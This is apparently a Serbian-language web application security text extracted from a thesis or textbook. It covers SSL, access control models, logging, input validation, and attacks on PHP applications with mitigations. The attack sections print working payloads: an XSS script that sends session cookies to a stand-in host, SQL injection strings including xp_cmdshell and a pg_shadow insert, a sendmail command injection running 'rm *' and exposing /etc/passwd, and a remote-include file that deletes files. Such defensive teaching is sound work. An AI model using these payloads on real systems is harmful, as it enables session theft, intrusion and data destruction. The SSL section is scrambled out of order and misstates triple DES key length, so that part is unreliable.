2.509 sertifikat.SSL pregovaranje sa autentifikacijom samo servera SSL pregovaranje sa autentifikacijom samo servera je postupak od devet koraka. Prvi je kada se uspostavi SSL tunel i jedino je server autentifikovan. i drugi način kada su i server i klijent autentifikovani.2. SMTP. na osnovu ponuđenih vrednosti u okviru klijentske pozdravne poruke. XMP RPC.Server šalje digitalni sertifikat klijentu na uvid. a to su na primer HTTP. ćemo u daljem tekstu označavati kao SSL. Sertifikat je javni ključ kojeg je potpisao neki drugi poverljivi korisnik (sa dodatnim informacijama radi dokaza njegove validnosti). Ova pozdravna poruka sadrži verziju SSL-a koju klijent podržava. IMAP. Dakle. Nasuprot trvđenju koje se iznosi u mnogim marketingškim kampanjama. SSL/TLS ne pruža nikakvu dodatnu bezbednost nakon što podaci napuste IP stek na bilo kom kraju konekcije. POP3. simetričnog šifrovaja. U oba slučaja SSL se uspostavlja pre nego što počne HTTP transkacija. oba protokola SSL i TLS.3. 3. SSL sertifikat je u stvari X.Kako SSL i TLS rade? SSL ima dva osnovna načina rada. FTP. Zbog jednostavnosti.HTTPFTPSMTPSSL ili TSLTCPIP Mesto SSL-a u okviru TCP/IP protokol steka Kao što se vidi na slici socket nivo je logički nivo između transportnog i aplikacionog nivoa u TCP/IP steku.Server odgovara na pozdravnu poruku sa jednom od svojih poruka koja određuje verziju SSL protokola. Često se može čuti pojam SSL setifikata.3. SSL koristi i javne ključeve i simetričnu kriptografiju. Fraza “sajt je 100% bezbedan. SSL pruža samo gore navadene usluge.1. SSL radi na transportnom nivou neposredno iznad TCP. SOAP i drugi. Nedostatke pri korišćenju SSL-a za sesijski transport nemoguće je otkloniti ili ublažiti upotrebom SSL-a. Većina modernih browsera automatski proveravaju sertifikat (u zavisnosti od konfiguracije) i upozoravaju korisnika ako isti nije validan. kao i digitalnih sertifikata. SSL koristi kombinaciju šifrovanja javnim ključem. sam SSL Web aplikaciju ne čini bezbednom. 17 . 3.Prvi korak u procesu je kada klijent šalje serveru «Client Hello» poruku. To znači da ga mogu koristiti svi protokoli aplikacionog nivoa koji za transport koriste TCP. 3. koristimo” dovodi u zabludu. 1. šifru i dužinu ključa koji će se koristiti prilikom konverzacije.

znači da je pregovaranje uspešno završeno. 9. te da li je pregovaranje bilo uspešno. pri čemu utvrđuje da li server može takvu poruku da dekodira. Najjači trenutno dostupan algoritam koji se koristi u okviru SSL-a je triple DES sa dužinom ključa od 128 bita. 3. 6.Klijent šalje «Cipher Spec» poruku koja serveru govori da sva buduća komunikacija treba da se vrši sa novim ključem.3. 5.Klijent generiše simetričan ključ i šifruje ga koristeći serverov javni ključ. Snaga postupka zavisi od primenjenog algoritma i dužine ključa. Dodatni koraci su: 4) Server šalje zahtev za sertifikat nakon slanja svog sertifikata. Server koristi klijentski sertifikat za dekriptovanje. Ako klijent može da pročita ovakvu poruku.Server šalje «Change Cipher Spec» poruku koja klijentu govori da sva buduća komunikacija treba da bude kriptovana. 6) Klijent dostavlja svoj sertifikat 8) Klijent šalje poruku o proverenom sertifikatu u koju kriptuje deo poznatog teksta koristeći svoj tajni ključ. odnosno njegova snaga.Server šalje «Server Done» poruku koja klijenta obaveštava da je server završio početni deo inicijalne sekvence. 18 .Server šalje svoju «Finished» poruku kriptovanu sa novim ključem.4. Drugi takođe vrlo snažan i zbog svoje brzine najviše rasprostranjen protokol je RC4 koji ima dužinu ključa od 128 bita.Klijent sada šalje poruku o završetku koristeći novi ključ. 7.SSL sa klijentskom i serverskom autentifikacijom SSL pregovaranje sa obostranom autentifikacijom (sa klijentske i serverske strane) je proces od dvanaest koraka. Centralno pitanje svakog postupka za šifrovanje je mogućnost njegovog razbijanja.3. i na osnovu toga ustanovljava da klijent ima ispravan tajni ključ. 8.

Svaki mehanizam kontrole pristupa koji se koristi za autorizaciju. ili neka izvedena promenjiva koja se može sa lakoćom obraditi. menjanja i kopiranja. vlasnik informacija i resursa je u mogućnosti da menja svoje dozvole po svom nahođenju. IP adresa HTTP klijent browsera. kao i sistemske resurse ograničavanjem korisnikovih radnji. Loša strana DAC-a je to što administrator nije u mogućnosti da centralno menja dozvole nad fajlovima/podacima smeštenim na Web serveru. -vlasnici podataka mogu da odrede vrstu pristupa datu ostalim korisnicima (read. posedovanje odgovarajućeg odobrenja. Uopšteno gledano. U sferi bezbednosti informacionih sistema postoji obilje prihvaćenih modela kontrole pristupa.KONTROLA PRISTUPA I AUTORIZACIJA Mehanizmi kontrole pristupa su neophodan i ključni element pri projektovanju bezbednosti svake Web aplikacije. U idealnom slučaju. Odluka o pristupu je zasnovana na autorizaciji datoj korisniku na osnovu njegovih akreditiva (username. ograničavanjem pristupa resursima i ograničavanjem funkcija koje korisnik vrši nad podacima. DAC model kontrole pristupa često ispoljava jednu ili više od sledećih osobina: -vlasnici podataka mogu međusobno da razmenjuju vlasništvo nad podacima sa ostalim korisnicima. lozinka.Diskretna kontrola pristupa Diskretna kontrola pristupa (DAC) podrazumeva ograničavanje pristupa informacijama na osnovu identiteta korisnika i pripadnosti određenim grupama. Uspešan mehanizam kontrole pristupa predstavljaće kombinaciju sledećih modela i biće upotrebljiv ne samo za upravljanje korisničkim nalozima.). Tipična provera autorizacije uključuje ispitivanje članstva u određenoj grupi korisnika. pod pretpostavkom da se prethodno uspešno autentifikovao. -višestruko neuspešno ponavljanje pokušaja autorizacije pristupa istom resursu ili objektu generiše alarm i/ili ograničava korisnikov pristup. Pojmovi autorizacije i kontrole pristupa često se greškom zamenjuju. broj autetifikacija datog korisnika tog dana. Autorizacija zavisi od specifičnih pravila liste kontrole pristupa koju unapred određuju administratori Web aplikacije ili vlasnici podataka. domen HTTP klijent browsera. Mnogi od njih sadrže aspekte koji ih čine primenjivim u oblasti Web aplikacija.) u trenutku autentifikacije. hardverski/softverski token itd. Autorizacija podrazumeva proveru da se vidi da li korisnik ima odgovarajuću dozvolu da pristupi određenom fajlu ili da izvrši određenu akciju. 4. itd. već i za razvoj i integraciju odrećenih funkcija aplikacije. copy.4. U većini DAC modela. neposredno zavisi od efikasnih i zaštićenih kontrola autentifikacije. tip enkripcije koju HTTP klijent može da podrži. write. uključujući ograničenja zasnovana na faktorima kao što su doba dana. kontrola pristupa bi trebalo da zaštiti podatke od neautorizovanog gledanja. Web aplikacija bi trebalo da štiti front-end i back-end podatke.1. 19 . Kontrola pristupa odnosi se sveobuhvatniji način kontrolisanja pristupa Web resursima. posedovanje određenog broja hardverskih/ softverskih tokena. ili prisustvo korisnika na listi odobrenih korisnika resursa.

sestra. -svi korisnici mogu da pišu dokumente veće poverljivosti nego što im je dodeljena ("poverljivi" korisnik može da proglasi informaciju strogo poverljivom).2. a ne i vlasnici podataka. mogu da menjaju sigurnosnu oznaku resursa.-specijalni add-on ili plug-in softver potreban HTTP klijentu da bi se korisniku onemogućilo neselektivno kopiranje (copy i paste). -pristup je autorizovan ili ograničen objektima u zavisnosti od doba dana u skladu sa sigurnosnim oznakama resursa i akreditivima korisnika. i obebzbeđuju da svaki korisnik ima pristup samo onim informacijama za koje ima odobrenje. Proces definisanja uloga zasnovan je na analiziranju fundamentalnih ciljeva i strukture organizacije i obično je povezano sa bezbednosnim normama. MAC je pogodan za upotrebu u sistemima izuzetno velike sigurnosti uključujući vojne aplikacije sa više nivoa sigurnosti. -svim podacima je dodeljen sigurnosni nivo. itd. -svim korisnicima je dozvoljeno čitanje/pisanje nad dokumentima iste poverljivosti koja im je dodeljena ("poverljivi" korisnik ima čitaj/piši pristup samo nad poverljivim dokumentom). 4. putanju direktorijuma itd. informacije o verziji. Uopšteno govoreći. ime fajla.Obavezna (Mandatory) kontrola pristupa Kod obavezne kontrole pristupa (MAC) sprovođenje bezbednosnih normi ne zavisi od samog korisnika Web aplikacije. IP adresa ili domen. SSL dužina bita. Na primer. ali i tipovi Web transakcija kao i njihov dozvoljeni sadržaj u varira u zavisnosti od bezbednosnih normi i relevantnih pravila. MAC model kontrole pristupa često ispoljava sledeće osobine: -isključivo administratori. MAC mehanizmi kontrole pristupa su sigurniji od ostalih mehanizama uz ustupak na račun performansi i udobnosti korisnika pri radu. MAC mehanizmi dodeljuju sigurnosni nivo svim informacijama. sigurnosno odobrenje svakom korisniku. u zdravstvenim organizacijama uloge koje imaju korisnici mogu biti doktor. ovi korisnici zahtevaju različite nivoe pristupa pri vršenju svojih funkcija. -korisnici koji nemaju pristup podacima ne bi trebalo da imaju mogućnost da menjaju atribute tih podataka (veličinu fajla. Očigledno. -pristup je autorizovan ili ograničen objektima u zavisnosti od sigurnosnih karakterstika HTTP klijenta (npr.3. pacijent itd. -svi korisnici mogu da čitaju podatke niže poverljivosti od one što je korisnicima dodeljena ("poverljivi" korisnik može da čita dokumente koji nisu poverljivi).) -pristup informacijama je određen na osnovu liste kontrole pristupa koja se oslanja na idedntifikatore korisnika i na pripadanje korisnika određenim grupama. MAC obezbeđuje informacije dodeljivanjem oznake osetljivosti informacijama i poređenjem nivoa osetljivosti koji je odobren korisniku.). 4.Kontrola pristupa zasnovana na ulogama (RBAC) Kod kontrole pristupa zasnovane na ulogama odluke su zasnovane na korisnikovim individualnim ulogama i odgovornostima unutar organizacije ili korisničke baze. 20 .

kojim redosledom i pod kojim relacionim okolnostima. -ulogama centralno upravlja administrator ili vođa projekta. 21 . -uloge se aktiviraju statički i dinamički u skladu sa odgovaarajućim relacionim trigerima (upit za help.). odakle. RBAC model kontrole pristupa pokazuje sledeće osobine: -uloge se dodeljuju u zavisnosti od organizacione strukture sa naglaskom na organizacione bezbednosne norme.RBAC metod kontrole pristupa treba da administatorima Web aplikacija da mogućnost određivanja ko može da vrši koju akciju. dozvoljen pristup informacijama. iniciranje novog projekta. kada. bezbednosni alarm. itd. -ulogama su dodeljena odobrenja po principu najmanje privilegije. transakcije. -svaka uloga označava profil koji uključuje sve autorizovane komande. itd. -uloge dodeljuje administrator na osnovu relativnih odnosa unutar organizacije ili korisničke baze.

Event Logging Logging je neophodan za dobijanje ključnih informacija o bezbednosti. stvaranje log zapisa treba da obuhvati infomacije korisne za otklanjanje grešaka. iniciranje. 22 . i u nekim slučajevima se mogu u realnom vremenu diretko unositi u sisteme za deteketovanje neovlašćenog upada. itd.). uključujući dozvole ili oznake kontrole pristupa. kao i detaljan opis procesa. vezanih za bezbednost ili problema uopšte. neuspelo logovanje. razgledanje korisničkih podataka. koje se odnose na Web aplikaciju i njene prateće procese. -log zapisi omogućuju uvođenje individulne odgovornosti praćenjem korisnikovih akcija. -svi neautorizovani pokušaji treba sadrže vreme.Šta uneti u log zapis Uopšteno govoreći.) -raznovrsne informacije vezane za otklanjanje grešaka. -za mrežnu komunikaciju treba napraviti log u svakoj tački komunikacije (bind. lokacija u okviru baza podataka ili vlasništvo nad podacima. informaciju o uspešnosti. Stvaranje detaljnih log zapisa o pristupu i transakcijama je važno iz više razloga: -log zapisi su često jedini zapis koji ukazuje da postoji sumnjivo ponašanje. itd.1. -izmena bilo kakvih karakteristika podataka. kao što su vreme događaja. poreklo. connect.5. itd. -log zapisi su neretko opotrebljavaju u sudskim procesima kao dokaz zloupotrebe. treba da bude obuvhaćena logom. odjavljivanje. omogućavanje i onemogućavanje logovanja. resurse ili funkcije koje su bile autorizovane kao i identifikaciju korisnika koji je pokušao autorizaciju. accept. -sve događaje vezane za autentifikaciju (logovanje. Nedostatak ili neadekvatna upotreba mehanizama za stvaranje log zapisa umanjuje mogućnost otkrivanja neautorizovanih pokušaja pristupa i ne pruža informaciju koji su od tih pokušaja bili uspešni. 5. -log zapisi su korisni prilikom rekonstrukcije događaja nakon pojave problema. -upis podataka. U ovom slučaju obrada log zapisa je od klujčne važnosti.). Rekonstrukcija događaja daje bezbednosnom administratoru potpun uvid u sve aktivnosti uljeza.PRAĆENJE RADA . -sve administativne funkcije (rad sa korisničkim nalozima. Preporučljivo je beležiti sledeće tipove događaja u aplikacijama: -čitanje podataka. -u slučaju brisanja bilo kakih podataka treba napraviti log zapis.

23 . Ovaj vremenski server treba da bude dodatno zaštićen i ne treba da pruža nikakve dodatne usluge unutar mreže. Potrebno je praviti izveštaje uključujući izveštaje o greškama i o detektovanim anomalijama. U idealnom slučaju log zapise bi trebalo prikupljati i organizovati na posebno dodeljenom logging hostu. Log zapisi se mogu unositi u realnom vremenu u sistem za detekciju upada. Radi lakšeg indeksiranja potrebno je usvojiti konvenciju u nazivima log zapisa. Kopije log zapisa bi trebalo praviti u pravilnim vremenskim intervalima u zavisnosti od količine podataka u logu i same njegove veličina (dnevno. Sve komponente logovanja treba da budu sinhronizovane sa vremenskim serverom . Log fajlove bi trebalo kopirati i skladištiti na trajne medijume i čuvati u skladu sa opštim pravilima vaše organizacije o bekapovanju. mesečno itd). Mrežne konekcije.5. tako da svi log zapisi mogu biti obrađeni bez grešaka usled kašnjenja. kao i sadržaj log zapisa trebalo bi enkriptovati tako da se zaštiti poverljivost i integritet podataka koliko je to moguće. kao i u alatke za nadzor sistema i performansi. Log fajlove i medijume na kojima se oni nalaze treba brisati i uništavati u skladu sa politikom vaše organizacije za odlaganje i uništavanje medija bezbednosno osetljivog sadržaja. Nepravilna obrada i skladištenje informacija od strane mehanizama za logging može dovesti do gubitka ovih podataka i njihove neupotrebljivosti za dalje naknadne analize ili ih učiniti pravno neupotrebljivim.Obrada log zapisa Efikasna obrada i skadištenje log zapisa je važna za pravilno korišćenje mogućnosti Web servera i aplikacija koje se odnose na logging. Atributi log zapisa treba da budu takvi da je moguće samo dodavanje novih informacija (stari unosi ne mogu se prepravljati ili brisati).2. U skladu sa prethodnim. kao što je CD-R. nedeljno. log zapise bi trebalo skladištiti na uređajima koji omogućuju jedan upis i više isčitavanja.

za koji se zna da je bezbedan. 6. Validno korisničko ime se može definisati kao skup ASCII karaktera A-Z i 0-9.6. Aplikacija treba da proveri da li se ulazni string sadrži od karaktera A-Z i 0-9 i da li njegova dužina ne prelazi dozvoljenu. -sintaksu.1. Provera tipa podataka je od izuzetne važnosti. Moramo priznati da ona nije uvek izvodljiva zbog finansijskih ili tehničkih razloga.VALIDACIJA PODATAKA Najveći deo napada na sistem se može sprečiti. Na primer. tako i na «skidanje» podataka sa aplikacije. Treba istaći da je prva strategija daleko najbolja. ovo je najpoželjniji način validacije podataka. Sve tri metode treba da provere: -tip podataka. -dužinu. 24 . 6.Validacija podataka je jedan od ključnih aspekata pri projektovanju Web aplikacije. U slučaju da sistem zahteva tipičan sistematičan pristup u pružanju osnovnih usluga. -saniraranje podataka koji nisu validni.Strategije validacije Strategija validacije podataka je usko povezana sa arhitekturom same aplikacije. Postoje tri osnovna modela koja se razmatraju prilikom projektovanja strategije validacije podataka: -prihvatanje samo onih podataka za koje se zna da su validni. tako da ćemo opisati i druge dve strategije. tada jedna od komponenti može da filtrira sve ulaze i izlaze.1. Na primer. projektovanje optimalne arhitekture biće znatno teže nego u slučaju kada je aplikacija tek u fazi projektovanja. -odbacivanje podataka za koje se zna da nisu validni.Prihvati samo poznate validne podatke Kao što je rečeno. pretpostavimo sistem za postavljanje uzima username kao ulaz. Ako je aplikacija već u postupku izrade. i na taj način optimizuje pravila i smanji trud. ili se opasnost od njihove pojave može značajno smanjiti odgovarajućom validacijom podataka. aplikacija treba da proveri da li su poslati brojni podaci a ne stringovi. Aplikacija prihvata samo očekivani unos.1. Kada govorima o validaciji podataka mislimo kako na unos podataka u aplikaciju.

ovakav način je izuzetno težak i ne treba ga koristiti kao osnovno sredstvo zaštite.1. koristeći samo kod sa strane klijenta. posebno kada je kombinovana sa obacivanjem podataka koji nisu validni. veoma je teško održavati ažurnom bazu podataka koja sadrži podatke o karakteristikama napada na Web aplikacije. je prihvatljiva.Odbaci podatke za koje se zna da nisu validni Ova strategija je zasnovana na činjenici da je aplikacija upoznata sa specifičnim malicioznim paketima.Saniraj sve podatke Pokušaj da se loši podaci učine bezopasnim je efikasan kao pomoćna metoda odbrane. uključujući logovanje. mnogo sajtova još uvek vrši validaciju korisnika. Ovo izgleda iznenađujuće jednostavno.2.2. kako je opisano u prethodnom paragrafu. pa ipak. Validacija sa strane klijenta.1. a da se na strani klijenta izvršava samo površna kontrola. U slučaju validacije podataka sa strane klijenta. ali se ne može smatrati pravim postupkom validacije. 6.Nikada se ne oslanjati na validaciju podataka sa strane klijenta Validacija sa strane klijenta uvek može biti premošćena. Svaka validacija trebalo bi da se odvija isključivo na strani servera. Međutim.3. te da ih menja po svojoj volji. Validacija svih podataka mora se obavljati na poverljivom serveru ili pod kontrolom aplikacije. napadač može da prati povratne vrednosti. 6. sa strane jednostavnosti i lakoće upotrebe. Iako je tačno da ovakva strategija može da ograniči otkrivanje.6. 25 . kao što je JavaScript.

koja je ujedno i zaražena malicioznim kodom. zajedno sa sesijskim 26 . skript može da vrši funkcije u ime korisnika. Korisnik se prevarom navodi da napravi specifičan i pažljivo projektovan HTTP zahtev.cert. Kada korisnik zatraži stranicu koja ispisuje poruke elektronske pošte. kroz propuste u samom skriptu. "</TD>". Naravno. Moderni skript jezici. Napad se odvija na taj način da napadač. Kada korisnikov browser primi novu stranicu. koji se izvršavaju sa klijentske strane. ako je korisnik administrator sistema to je sasvim druga priča. Ukoliko se prilikom ispisa naslova svake pojedine poruke. Sam postupak napada biće predstavljen preko sledećeg primera. Napadi se uvek odnose na korisnike sistema. te će vratiti korisniku traženu stranicu sa dodatim malicioznim kodom koji je dodat sa zahtevom. Ako napadač odabere Web aplikaciju za koju je korisnik autentifikovan. postoji mogućnost CSS napada. Kada Web server primi zahtev za stranicom on šalje traženu stranicu zajedno sa delom koda koji je tražen.html). korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtevao. međutim.Napadi na korisnike 7. CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests (http://www. Ime potiče od CERT saveta.7. tako da korisnik poseduje validni sesijski token. Maliciozni kod se tada pokreće uz odobrenje legalnog skripta poslatog sa legitimnog Web servera. nego su sposobni da izvršavaju veći broj akcija. Pretpostavka je da je korisnik prošao fazu autentifikacije i sesija je započeta. $naslov. maliciozni kod se raspakuje i izvršava. više ne vrše samo formatiranje strana. Klijenti prevarom mogu biti uvučeni u izvršavanje većeg broja različitih funkcija što može biti opasno. JavaScript kod će se automatski pokrenuti i preusmeriti korisnika na specificiranu URL adresu. a nikada na sam sistem.1. on ispisuje bez proveravanja.BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA 7.org/advisories/CA-2000-02. Deo koda namenjen za ispis je: <?php echo ?> "<TD>".Cross-site scripting Cross-site scripting je privukao veliku pažnju javnosti.1. U ovom slučaju napadač može naslovu poruke elektronske pošte pridružiti JavaScript kod koji je dizajniran da otuđi korisnikov sesijski token.1. Kroz sledeći primer biće prikazani mogući propusti u PHP aplikacijama koji dozvoljavaju CSS napade. preko Web servera. Napadač je prethodno otkrio aplikaciju koja ne filtrira ulaz. Korisnik upotrebljava Web aplikaciju namenjenu pregledanju elektronske pošte.

Napadač mora proveriti zapise koji su pristigli na ovakav načini i može preuzeti korisničku sesiju. tj. problem je lakše rešiti opštom komponentom. U PHP-u. biće konvertovani karakteri < i > u njihove odgovarajuće entitete: &lt i &gt.nesiguran. JavaScript kod koji bi omogućio opisan način napada mogao bi izgledati ovako: <script> self. Prilikom učitavanja Web stranice ništa se neće dogoditi jer će ovi entiteti korisnikovom Web browseru ukazivati na običan tekst a ne specijalne karaktere. prihvata se samo očekivan ulaz. U ovom konkretnom primeru. problem se znatno smanjuje (osim u slučaju kada je potrebno da HTML bude ulaz). ako svi zahtevi dolaze na centralnu lokaciju i odlaze sa centralne lokacije.cert. Ako prihvatite preporučenu strategiju validacije. ovakva ranjivost bi se mogla ispraviti upotrebom htmlspecialchars() funkcije.location. Moramo naglasiti da je ova strategija daleko najbolja.tokenom.org/tech_tips/malicious_code_mitigation. Sa stanovišta arhitekture. http://www. koja konvertuje specijalne karaktere u HTML entitete. cookie) </script> Mitigation Techniques (tehnike ublažavanja) Sprečavanje cross site scriptinga je zahtevan zadatak posebno za široko distribuirane Web aplikacije.href=http://www.com/getCookie?cookies=+escape(document.html 27 .

Napadač je u mogućnosti da menja administratorske lozinke po svom nahođenju.2. zatim unosi staru i novu lozinku. Ovakav napad.2.Napadi na sistem 7. 28 . što znači da je zlonamernom korisniku omogućen direktan pristup bazi podataka. $res = $conn->Execute($sql). Tipičan kod za autentifikaciju bi izgledao ovako: $sql="SELECT * FROM users WHERE username='$username' AND password='$password'". Posledice su razarajuće. else $boolAuthenticated=true. Korisniku je naizgled ovo sasvim jasan proces.Direktne SQL naredbe Kod nekih aplikacija se ne vrši validacija korisničkog unosa. Loše projektovana Web aplikacija omogućava hakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadržaj na službenim sistemima. -dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama. browser upućuje HTTP zahtev Web aplikaciji i šalje joj podatke. Pretpostavimo da Web aplikacija dopušta korisniku izmenu lozinke. -modifikacija izlaznih podataka. Ukoliko je korisnik u formu za autentifikaciju uneo sledeći kod: Korisničko ime: ' OR '1'='1 Lozinka: ' OR '1'='1 Vrednost promenljive $sql će biti: $sql="SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'". U bazi podataka se proverava da li postoji slog koji sadrži zadate akreditive. je iznenađujuće jednostavan. ovo bi trebalo da se vrši preko SSL-a. korisnik je prošao autentifikaciju.7. Korisnik je preko forme poslao serveru svoje korisničko ime i lozinku koji se unose u SQL upit i prosleđuju bazi podataka. if ($res->RecordCount()==0) $boolAuthenticated=false. Zbog zaštite podataka u tranzitu. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita na prvobitni upit bazi podataka. dva puta zbog sigurnosti . onemogućavajući pristup pravim vlasnicima sistema i otvarajući sebi neograničen pristup. što je slučaj sa većinom Web aplikacija. Što znači da će aplikacija smatrati korisnika autentifikovanim jer je uslov '1'='1' uvek ispunjen. SQL injection može da se upotrebi i za: -izmenu SQL vrednosti. odabira promenu lozinke. U slučaju da postoji. Kada korisnik unese staru i dva puta novu lozinku u Web obrazac. Korisnik se loguje i kreće kroz stranicu sa opcijama za korisnčki nalog.1. poznat kao SQL injection. -proširivanje SQL izraza.

Maliciozni HTTP zahtev: http://www. korisnik koji u obrazac unese prezime “O’Neil” ujedno unosi i specijalan metakarakter (’).none.'1'.last_update. međutim ovakav pristup ne može da zaustavi sve SQL injection napade. Unos ovakvog karaktera mora biti dozvoljen pošto je to sastavni deo imena. ne može se dozvoliti da ovakav karakter postane deo upita za bazu podataka.exe+/c) SELECT id.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25'. Primena preporučene strategije za validaciju ulaznih podataka značajno smanjuje problem.none.to/script?0'. Na primer. sastavljene iz više aplikacija. Međutim.to/script?0'.i_name.xp_cmdshell(cmd.concat(uname|| '-'||passwd)+as+i_name+'1'+' Tehnike ublažavanja Sprečavanje SQL injection-a je zahtevan zadatak posebno za velike Web sisteme.'1'.insert+into+pg_shadow+usename+values+('hosch i') Dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama Maliciozni HTTP zahtev: http://www. te njegovo izbegavanje može biti neophodno.name FROM products WHERE id LIKE '%$INPUT[prod]%'. Različite baze podataka zahtevaju da se različiti karakteri izbegavaju na razne načine.--% Proširivanje SQL naredbi: SELECT id. te je potrebno za svaku bazu poznavati karaktere koje je potrebno sanirati.none.size FROM p_table WHERE size = Maliciozni HTTP zahtev: http://www.EXEC+master.none. Maliciozni HTTP zahtev: http://www.to/script?size=0'+union+select+'1'. Filtriranje SQL naredbi neposredno pre izvršavanja smanjuje rizik od pogrešnog filtriranja. Modifikacija izlaznih podataka: SELECT id.name FROM products WHERE id LIKE '%$INPUT[prod]%'..t_nr.Izmena SQL vrednosti: UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]'. Pored toga mogu se javiti teškoće pri implementaciji u slučaju kada algoritam filtriranja treba da odluči da li dotični podaci treba da postanu deo upita ili ne. a potrebno je da algoritam prepozna na koju bazu podataka se takav upit odnosi.x_nr. Korisni linkovi: 29 .

nextgenss.sqlsecurity. Izvršavanje spoljšnjih programa sa imenima ili argumentima specificiranim od strane korisnika je najbolja ilustracija direktne štete koju neovlašćeni korisnik može izazvati pozivom direktnih OS naredbi.Direktne OS naredbe Skoro svi programski jezici dopuštaju upotrebu tzv.pdf http://www. itd. koje se odnose na ove funkcije.pdf http://www.izvršava naredbu u argumentu. $arg_korisnika).spidynamics.http://www.com/faq-inj. “neuspešno”.izvršava naredbu u argumentu i vraća zadnju liniju izlaza programa. Najčešća primena ovih naredbi u Web aplikacijama je manipulacija fajlovima (uklanjanje. Sistemski interfejs u programskom i skript jeziku prepušta unos (naredbe) samom operativnom sistemu. ?> 30 .2. dozvoljava korisniku upotrebu znakova koji imaju specijalno značenje. Operativni sistem izvršava dati unos i vraća odgovarajući izlaz na stdout zajedno sa različitim povratnim kodovima kao što su “uspešno”. •passthru() . koje se uz malo truda mogu integrisati u aplikaciju . Ovakvi pozivi su vrlo opasni jer PHP uvek prosleđuje ovakve nizove direktno na izvršavanje. Sistemske naredbe mogu da budu veoma ugodna alatka za rad.2. poziv funkcije poput: exec ('program'` .com/papers/more_advanced_sql_injection. međutim ove funkcije predstavljaju vrlo visok bezbednosni rizik u kombinaciji s korisničkim unosom. $to. slanje email-ova i pozivanje alatki operativnog sistema u cilju različitih izmena na ulazu i izlazu (filtriranje) aplikacija.com/papers/SQLInjectionWhitePaper.nextgenss.asp http://www. potrebno je koristiti escapeshellarg() ili escapeshellcmd() funkcije. Poziv funkcije system($unos_korisnika) je nesiguran jer dozvoljava korisniku da izvršava proizvoljne naredbe na Web serveru.pdf 7. U sledećem primeru prikazano je nepravilno korišćenje popen() funkcije: <?php $f = popen(`/usr/sbin/sendmail -i`.kao i passthru (). kopiranje).com/papers/advanced_sql_injection. Nekad je poziv spoljašnjih programa neophodan. •system() . w). U uputstvima za PHP jezik. stoji upozorenje da ukoliko se funkcijama predaju podaci uneseni od strane korisnika. pa i kod mnogih aplikacija sreće se ovakva funkcionalnost. sistemskih naredbi. ali ne podržava binarne podatke. Funkcije koje se koriste u PHP skript jeziku prilikom poziva spoljašnjih programa su sledeće: •exec() . Dalje.izvršava naredbu u argumentu i vraća sav generisani izlaz programa direktno u udaljeni Web browser. •popen() .

include_once() . odvajanje datoteka koje služe za klase. require() i require_once() funkcija.2. itd. WWW-ROOT je tipičan virtualni direktorijum u Web serveru koji je dostupan HTTP klijentu. Ovo se često naziva kao ranjivost “otkrivanja fajlova”. Konkretno rešenje prethodnog primera bilo bi: <?php $f = popen (`/usr/sbin/sendmail -i`.com/posalji. Ove funkcije kao argument uzimaju naziv datoteke. Uveliko pomažu i pri održavanju i čitljivosti koda.Otkrivanje putanje dokumenta Mnoge Web aplikacije koriste sistemske fajlove Web servera da bi privremeno i/ili trajno skladištile informacije. Path traversal napadi se obično koriste zajedno sa napadima poput direktnih OS naredbi ili direktnih SQL injection.2. 7. Ako aplikacija ne vrši pravilno proveru i obradu meta-karaktera za opis putanje (path) npr./” moguće je da je aplikacija osetljiva na “path traversal” napad.php?to=korisnik%40nesiguran. kod koji se često koristi. escapeshellarg($to) .com+%3C+% 2Fpass wd%3B+rm+%2A Što rezultuje pokretanje sledeće naredbe: /usr/sbin/sendmail -i korisnik@nesiguran. Koncept uključivanja udaljenih datoteka je vrlo opasan. w). Napadač može da izradi maliciozan zahtev za podacima o fizičkoj lokaciji fajlova kao što su /etc/passwd itd. Rešenje ovog problema je pažljivo filtriranje korisničkog unosa pre predavanja koda interpreteru. pa ga na ovaj način ubaciti u sistem. rm * Kreativniji napadači mogu čak napisati i virus.Korisnik može kontrolisati sadržaj promenljive $to kroz sledeći upit: http://www. U PHP-u se to vrši uz pomoć include(). te ih parsuju kao PHP kod.Uključivanje udaljenih datoteka Mnogi skript i progragmski jezici omogućavaju uključivanje u programski kod lokalnih i udaljenih datoteka. jer dozvoljava ubacivanje nepoznatog i moguće opasnog koda direktno u programski kod. Ova mogućnost dozvoljava.3. Napadač može isto tako da upotrebi ove osobine za stvaranje specijalno pravljenih URL-a. ?> 7. Web aplikacije mogu da skladište podatke u i/ili van WWW-ROOT direktorijuma u za to predviđenim lokacijama. Upravo zato je neophodno korištenje escapeshellarg() i escapeshellcmd() funkcija.primer.4. U sledećem primeru uključivanje datoteke zavisi od korisničkog unosa.com /etc/passwd. Skript ima više HTML datoteka te se kroz promenljivu $stranica vrši njihovo prikazivanje zavisno od odabranog redosleda: 31 . “. na primer..

on se može skratiti osnovnom C-funkcijom.nepoznato. U slučaju da je string. Napadač sada ima pristup datoteci stil.nepoznato. promenljiva $stranica se može postaviti na željenu vrednost.php.com/kod. Napadač može kroz delovanje na promenljivoj $libdir promeniti putanju u kojoj će PHP interpreter tražiti datoteku stil. Ovo se obično postiže URL 32 . uključiti kod koji je napadač pripremio i izvršiti ga. što će uzrokovati izlistavanje datoteke /etc/passwd na Web browseru napadača.php').php?stranica=/etc/passwd ili. U sljedećem primjeru uključena datoteka ne bi trebalo da zavisi od korisničkog unosa. “AAA\0BBB” prihvaćen od Web aplikacije (ili od strane specijalnog programskog jezika) kao validan string.php.'stil.php?stranica=http://nepoznato. ?> Preko HTTP GET metoda. PHP interpreter će poslati HTTP zahtev na adresu www.html.2.com. Aplikacije koje ne vrše adekvatnu validaciju ulaznih podataka. te se postavlja negde ranije u kodu: <?php include ?> ($libdir. mogu se praveriti ubacivanjem nultih bajtova u “kritične” parametre.com/okvir. Ovo je moguće pošto C shvata nulti bajt (\0) kao završetak stringa. http://www. 7.5.primer. Kao primer može poslužiti sledeći deo koda: <?php passthru("/bin/ls ?> /etc/passwd").html sadrži nekoliko linija koda koje mogu biti štetne na strani servera: <?php passthru ('rm ?> *') .<?php include($stranica). Potrebno je napraviti datoteku 